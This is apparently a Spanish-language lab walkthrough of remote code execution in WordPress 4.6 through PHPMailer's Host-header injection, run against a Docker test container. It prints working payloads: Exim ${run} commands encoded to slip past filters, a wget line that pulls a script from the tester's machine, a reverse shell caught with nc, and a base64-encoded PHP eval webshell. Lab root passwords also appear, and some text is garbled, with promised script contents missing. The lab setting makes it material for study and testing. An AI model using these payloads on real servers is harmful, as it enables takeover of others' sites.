Análisis y Explotación de Vulnerabilidades en Foros: Explorando la Ejecución Remota de Código en Plugins de WordPress

Un profesional de seguridad llamado Alejandro ha sido contratado por una empresa para realizar pruebas de penetración en su foro. Durante la evaluación, descubrió que el foro utiliza WordPress con el componente PHPMailer para enviar correos electrónicos a los usuarios. La versión del componente es 5.2.18, la cual presenta una vulnerabilidad de ejecución remota de código. Esta vulnerabilidad podría permitir a un atacante ejecutar código arbitrario en el servidor. Es importante destacar que numerosos sistemas de gestión de contenido como WordPress utilizan este componente para el envío de correos, lo que amplifica el impacto potencial de esta vulnerabilidad.

Análisis de la Vulnerabilidad

En ausencia de vulnerabilidades de inyección comunes, se puede enfocar en los plugins instalados en el sistema. Específicamente, versiones de WordPress ≤ 4.7.1 junto con PHPMailer (versión < 5.2.18) contienen una vulnerabilidad de ejecución remota de comandos. Esta vulnerabilidad está relacionada con un RCE no autorizado en WordPress Core 4.6. Un atacante podría explotar esta vulnerabilidad para obtener acceso remoto al servidor, lo que reslutaría en la completa compromisión del servidor de aplicaciones. No se requieren plugins ni configuraciones no estándar para aprovechar este fallo. El atacante solo necesita construir una dirección de correo electrónico maliciosa para escribir archivos arbitrarios, resultando en la ejecución remota de comandos. Esto habilita múltiples funcionalidades como la colocación de backdoors, gestión de archivos, búsqueda de recursos, ejecución de comandos y recolección de información del sistema.

Conocimientos Previos

Versiones anteriores de PHPMailer (antes de la 5.2.18) son susceptibles a vulnerabilidades de ejecución remota de código que podrían permitir el control remoto del dispositivo. La función mailSend en el transporte PHPMailer, cuando el remitente no establece ciertas propiedades, puede permitir a atacantes remotos pasar parámetros adicionales al comando de correo, ejecutando así código arbitrario a través de una dirección especialmente construida con "(barra invertida comilla doble)". El atacante envía una solicitud GET/POST y, en el servidor, el malware responde a cada solicitud generando un paquete de respuesta.

Al enviar correos con PHPMailer, se sigue una cadena específica de llamadas a funciones críticas.

Implementación Práctica

Descripción del Entorno

Servidor: p9_kali-6 (usuario: root; contraseña: toor)

Sistema operativo del servidor: Kali Linux 192.168.32.123

Servidor objetivo: p9_linux-9 (usuario: root; contraseña: 123456)

Sistema operativo del servidor objetivo: Linux 192.168.32.184

Reproducción Práctica

En el sistema objetivo, abra una terminal y ejecute el comando:

docker run -i -t --rm -d -p 80:80 medicean/vulapps:w_wordpress_6

Este comando inicia el contenedor vulnerable. Luego, use el comando docker ps para listar los contenedores en ejecución y finalmente use docker exec -it IDdelContenedor /bin/bash para entrar en el contenedor e interactuar con su línea de comandos.

Los parámetros utilizados tienen las siguientes funciones:

  • -i: Permite interactuar con la entrada estándar del contenedor
  • -t: Asigna un pseudo-terminal en el nuevo contenedor
  • --rm: Elimina el contenedor al salir, evitando uso de espacio innecesario
  • medicean/vulapps:w_wordpress_6: Imagen base para iniciar el contenedor
  • /bin/bash: Shell interactivo especificado

Desde la máquina de prueba, abra un navegador y acceda a la página vulnerable en /wp-login.php?action=lostpassword, que es la página de restablecimiento de contraseña de WordPress. En este punto, WordPress utiliza el componente phpmailer para enviar correos de restablecimiento de contraseña.

Volviendo al sistema objetivo, examinemos el archivo vulnerable class-phpmailer.php ubicado en el directorio wp-includes. Al abrir este archivo, podemos encontrar varias líneas de código críticas:

Observamos que phpmailer utiliza el comando de sistema sendmail de Linux para enviar correos electrónicos. El formato del comando es: sendmail -t -i -fusuario@host. Continuando con la auditoría del código, descubrimos que la función serverHostname obtiene el nombre de host a través del parámetro SERVER_NAME, que corresponde al valor del encabezado host en la solicitud HTTP. Sin embargo, este parámetro no sufre ningún tipo de filtrado, lo que nos permite construir y concatenar valores arbitrarios, resultando en una vulnerabilidad de inyección de comandos del sistema.

WordPress y la biblioteca PHPMailer previenen que los atacantes inyecten caracteres nulos (espacios o TAB) en el comando sendmail. Además, métodos que intentan introducir parámetros mediante paréntesis ya no son efectivos. Incluso al intentar invocar /bin/touch, encontraríamos problemas si el campo host contiene caracteres '/', ya que el servidor rechazaría la solicitud. Sin embargo, ya tenemos la estrategia: primero, construir una sentencia que evite la detección del sistema y luego utilizar este método para intentar escribir un archivo webshell backdoor.

Antes de construir el payload, volvamos al sistema operativo del contenedor objetivo. Nota: después de root@ debe ir el ID del contenedor, de lo contrario no podremos operar correctamente. Una vez dentro del contenedor, use el comando sendmail -be '$tod_log' para verificar la hora del sistema (el parámetro -be es una prueba de expansión de cadenas que puede leer datos de variables, como $tod_log que muestra la hora del sistema).

Además, exim4 proporciona parámetros sintácticos que podemos utilizar para construir soporte de parámetros (sendmail es en realidad un enlace suave a este software, que proporciona funciones para ejecutar comandos como la función de subcadena substr y la función de llamada al sistema $run). Use el comando sendmail -be '${substr{10}{1}{$tod_log}}' para que la función substr extraiga el primer carácter a partir del décimo carácter del resultado devuelto, que es un espacio.

De manera similar, podemos extraer el carácter '/' del archivo $_spool_directory (la variable spool_directory existe por defecto y no contieen letras mayúsculas, por lo que su ejecución es confiable).

Ahora probemos el uso de la función $run para invocar comandos del sistema:

Hasta aquí hemos completado los preparativos preliminares. Ahora comenzamos a construir nuestro payload. Intentaremos crear un archivo hack.txt en el directorio /root:

La sentencia construida es:

cc(any -froot@localhost -be ${run{/bin/touch /root/hack.txt}} null)

Donde:

  • espacio ==>{substr{10}{1}{$tod_log}}
  • barra invertida ==>{substr{0}{1}{$spool_directory}}

La transformada resultante es:

cc(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}root${substr{0}{1}{$spool_directory}}hack.txt}} null)

Regresemos a la máquina de prueba Kali y accedamos al sitio objetivo http://172.16.1.33 para verificar si la comunicación de red es normal:

Accedamos a la interfaz de inicio de sesión wp-login.php para verificar:

Volviendo al navegador, accedamos a la página de restablecimiento de contraseña /wp-login.php?action=lostpassword, ingresemos "admin" como nombre de usuario para restablecer, interceptemos la solicitud y modifiquemos el valor del host con nuestro payload construido, luego hagamos clic en el botón Forward para enviar.

El payload construido es:

cc(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)

Regresemos al directorio /tmp del sistema objetivo y verifiquemos que el archivo test.txt se ha creado exitosamente en el servidor:

En el directorio raíz de apache,编写 un script de shell remoto rce, con el siguiente contenido:

Reinicie el servidor apache:

Una vez ejecutado el comando, el sistema objetivo obtendrá el archivo a.txt de la máquina de prueba mediante wget y lo outputará al archivo rce en el directorio /tmp. El payload a ejecutar es (nota: modifique la dirección IP de la máquina de prueba en el payload para obtener el archivo a.txt):

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/rce 172.16.1.40/a.txt}} null)

La transformada correspondiente es:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}172.16.1.40${substr{0}{1}{$spool_directory}}a.txt}} null)

Ejecute el script de shell inverso rce en el directorio tmp:

Ejecute el shell inverso:

aa(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)

En la máquina receptora, use nc para escuchar en el puerto 1345 y envíe los payloads en orden para obtener el shell inverso:

nc -nvv -l -p 1345

Extensión: Algunas máquinas pueden no tener el directorio /dev/tcp. Daddo que estamos trabajando con WordPress, definitivamente tendremos un entorno PHP. El comando del POC podría modificarse a:

echo "PD9waHAgQGV2YWwoJF9QT1NUWyd6J10pOz8+Cg==" | base64 -d > /tmp/z.php && php -S 0:7777 -t /tmp

Los detalles de esta operación no se detallan aquí.

Finalización del experimento, cierre la máquina virtual.

Etiquetas: phpmailer wordpress seguridad-web ejecucion-remota-codigo penetracion-testing

Publicado el 7-28 12:15